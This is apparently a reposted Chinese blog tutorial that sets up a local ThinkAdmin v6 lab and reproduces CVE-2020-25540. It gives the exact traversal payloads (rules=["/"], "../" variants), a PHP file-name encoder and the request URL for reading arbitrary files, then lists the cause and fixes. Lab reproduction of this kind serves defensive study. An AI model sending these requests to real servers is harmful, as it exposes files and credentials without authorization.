如何分析目录遍历文件读取漏洞CVE-2020-25540

如何分析目录遍历文件读取漏洞CVE-2020-25540,相信很多没有经验的人对此束手无策,为此本文总结了问题出现的原因和解决方法,通过这篇文章希望你能解决这个问题。

环境搭建

phpstudy2018+ThinkAdmin v6.0.3

ThinkAdmin版本 ≤ 2020.08.03.01

https://github.com/zoujingli/ThinkAdmin/tree/a57c3a9373bc89f5eaa4142d047481a898b5757e

如何分析目录遍历文件读取漏洞CVE-2020-25540

Composer命令

/1. 安装Composer命令,phpstudy中PHP设置成7.1或以上版本,并把对应的文件夹放入环境变量path中

如何分析目录遍历文件读取漏洞CVE-2020-25540

/2. 在phpstudy服务器中打开php.ini文件,找到extension=php_openssl.dll前面的分号去掉,意思是打开ssl扩展,目的是为了能在cmd命令中能进行访问

如何分析目录遍历文件读取漏洞CVE-2020-25540

/3. 安装composer.phar,找到下载内容的地方,去下载当前最新版本的composer.phar,双击安装,不用勾选

下载地址https://getcomposer.org/Composer-Setup.exe

如何分析目录遍历文件读取漏洞CVE-2020-25540

/4. 配置环境变量后自动选择了

如何分析目录遍历文件读取漏洞CVE-2020-25540

然后一直下一步,安装完成

如何分析目录遍历文件读取漏洞CVE-2020-25540

/5. 安装完成后在cmd命令行输入composer查看是否安装成功

如何分析目录遍历文件读取漏洞CVE-2020-25540

/6. 设置阿里云 Composer 代理

由于国内访问Composer比较慢,建议设置阿里云Composer镜像,运行如下命令设置阿里云代理

composer config -g repo.packagist composer https://mirrors.aliyun.com/composer

如何分析目录遍历文件读取漏洞CVE-2020-25540

/7. 搜索下载ThinkAdminV6的漏洞版本到本地

如何分析目录遍历文件读取漏洞CVE-2020-25540

/8. 进入ThinkAdmin目录进行安装

composer install

如何分析目录遍历文件读取漏洞CVE-2020-25540

/9. 然后进config/database.php目录下修改配置文件,需要创建一个数据库

如何分析目录遍历文件读取漏洞CVE-2020-25540

修改数据库连接所用的账号密码 root/root

导入数据库

要将 thinkadmin 安装包里的 admin_v6.sql 文件导入到数据库

如何分析目录遍历文件读取漏洞CVE-2020-25540

快速新建数据库

如何分析目录遍历文件读取漏洞CVE-2020-25540

数据库名:admin_v6

常用source 命令

进入mysql数据库控制台,

如mysql -u root -p

mysql>use 数据库

然后使用source命令,后面参数为脚本文件(如这里用到的.sql)

mysql>source d:wcnc_db.sql

如何分析目录遍历文件读取漏洞CVE-2020-25540

成功导入

如何分析目录遍历文件读取漏洞CVE-2020-25540

/10. php进行运行 php think run

如何分析目录遍历文件读取漏洞CVE-2020-25540

http://ip:8000打开页面

如何分析目录遍历文件读取漏洞CVE-2020-25540

漏洞复现

目录遍历/任意文件读取

目录遍历

可以在浏览器直接构造,也可以burp抓包改包

如何分析目录遍历文件读取漏洞CVE-2020-25540

①使用burp抓取首页的包,发送到Repeater模块构造数据包获取目录

②在Repeater模块中把GET修改成POST,url后添加 ?s=admin/api.Update/node

在下面输入rules=%5b%22%2f%22%5d //rules=["/"]

③点击"Send"发送,可以看到返回包中带有目录列表了

如何分析目录遍历文件读取漏洞CVE-2020-25540

注:没有返回列表,是因为抓包时不是第一次加载页面,Content-Type字段被替换成为Cache-Control,虽然200但是列表内容为空。

如何分析目录遍历文件读取漏洞CVE-2020-25540

抓第一次加载页面时的包就没问题

返回结果

rules=["/"]会遍历 E:/phpstudy2018/PHPTutorial/WWW/ThinkAdmin6 下所有文件

如何分析目录遍历文件读取漏洞CVE-2020-25540

HTTP/1.1 200 OKHost: 192.168.80.111:8000Date: Mon, 30 Nov 2020 10:32:39 +0800Connection: closeX-Powered-By: PHP/7.2.1Content-Type:application/json; charset=utf-8Set-Cookie: think_lang=zh-cn; path=/Set-Cookie: PHPSESSID=8a43a78b3ebd325158a78608ac57107a; path=/{"code":1,"info":"获取文件列表成功!","data":{"rules":["//"],"ignore":[],"list":[{"name":"//admin_v6.sql","hash":"a6add0e2aab0e7d45f1ef35ad7846c52"},{"name":"//app//admin//controller//Auth.php","hash":"9a254f39ccdb4e334d48a8596d4ced57"},{"name":"//app//admin//controller//Config.php","hash":"09a65b23959905b7ea511e61b75d9626"},{"name":"//app//admin//controller//Index.php","hash":"da3736920e43b33e18e0ba72407c8588"},{"name":"//app//admin//controller//Login.php","hash":"c1820e476b786a793a48ff893bf8ed3c"},{"name":"//app//admin//controller//Menu.php","hash":"d278f7948bfbe005987c16d18d2f49cb"},{"name":"//app//admin//controller//Oplog.php","hash":"7340a732685f2d4e91c01b07aa3efc4d"},{"name":"//app//admin//controller//Queue.php","hash":"88ca8b37cb205adbbf771878836366be"},{"name":"//app//admin//controller//User.php","hash":"52c893ed2f2390e6a46ca3d0fcee59da"},{"name":"//app//admin//controller//api//Plugs.php","hash":"db98179054e8fe3a051f97901ea9ff2b"},/*省略一万行*/{"name":"//vendor//zoujingli//wechat-developer//composer.json","hash":"7db3f4ea9c17c21174c665b22992e97a"},{"name":"//vendor//zoujingli//wechat-developer//include.php","hash":"1434ae58cf94166d7097fe29ba0d42da"},{"name":"//vendor//zoujingli//wechat-developer//readme.md","hash":"5dc2765147e9aff90a838578a1dd8083"},{"name":"//启动须知.txt","hash":"263d4e9a08fbab5ac55e78cf537acb6f"}]}}

rules=["../"]会遍历 E:/phpstudy2018/PHPTutorial/WWW 下所有文件

rules=["../../"]会遍历 E:/phpstudy2018/PHPTutorial 下所有文件

rules=["../../../"]会遍历 E:/phpstudy2018 下所有文件

rules=["../../../../"]会遍历 E:/ 下所有文件

如何分析目录遍历文件读取漏洞CVE-2020-25540

目录遍历内容超出限制会报错

任意文件读取

①读取根目录下【启动须知.txt】

如何分析目录遍历文件读取漏洞CVE-2020-25540

②在使用加密函数对文件名进行加密,等下传参要用

<?php function encode($content) { //加密正常文件名 //list($chars, $length) = ['', strlen($string = iconv('UTF-8', 'GBK//TRANSLIT', $content))]; //加密中文文件名 list($chars, $length) = ['', strlen($string = iconv('UTF-8', 'GB2312', $content))]; for ($i = 0; $i < $length; $i++) $chars .= str_pad(base_convert(ord($string[$i]), 10, 36), 2, 0, 0); return $chars; }$content="启动须知.txt";echo encode($content);?>

在虚拟机运行

如何分析目录遍历文件读取漏洞CVE-2020-25540

在线运行

如何分析目录遍历文件读取漏洞CVE-2020-25540

5i6s524v5s6j5y4q1a383c38

③访问下面链接即可读取到文件内容

http://192.168.80.111:8000/admin.html?s=admin/api.Update/get/encode/5i6s524v5s6j5y4q1a383c38

如何分析目录遍历文件读取漏洞CVE-2020-25540

base64解密得到文件内容

如何分析目录遍历文件读取漏洞CVE-2020-25540

漏洞原因

由于Update.php这个文件中的函数方法没有授权导致的

修复方式

1.升级到2020.08.03.01之后的版本

2.使用官方的临时修复方案

https://github.com/zoujingli/ThinkAdmin/issues/244

看完上述内容,你们掌握如何分析目录遍历文件读取漏洞CVE-2020-25540的方法了吗?如果还想学到更多技能或想了解更多相关内容,欢迎关注亿速云行业资讯频道,感谢各位的阅读!

原创文章,作者:306829225,如若转载,请注明出处:https://blog.ytso.com/220517.html

(0)
上一篇 2022年1月2日
下一篇 2022年1月2日

相关推荐

发表回复

登录后才能评论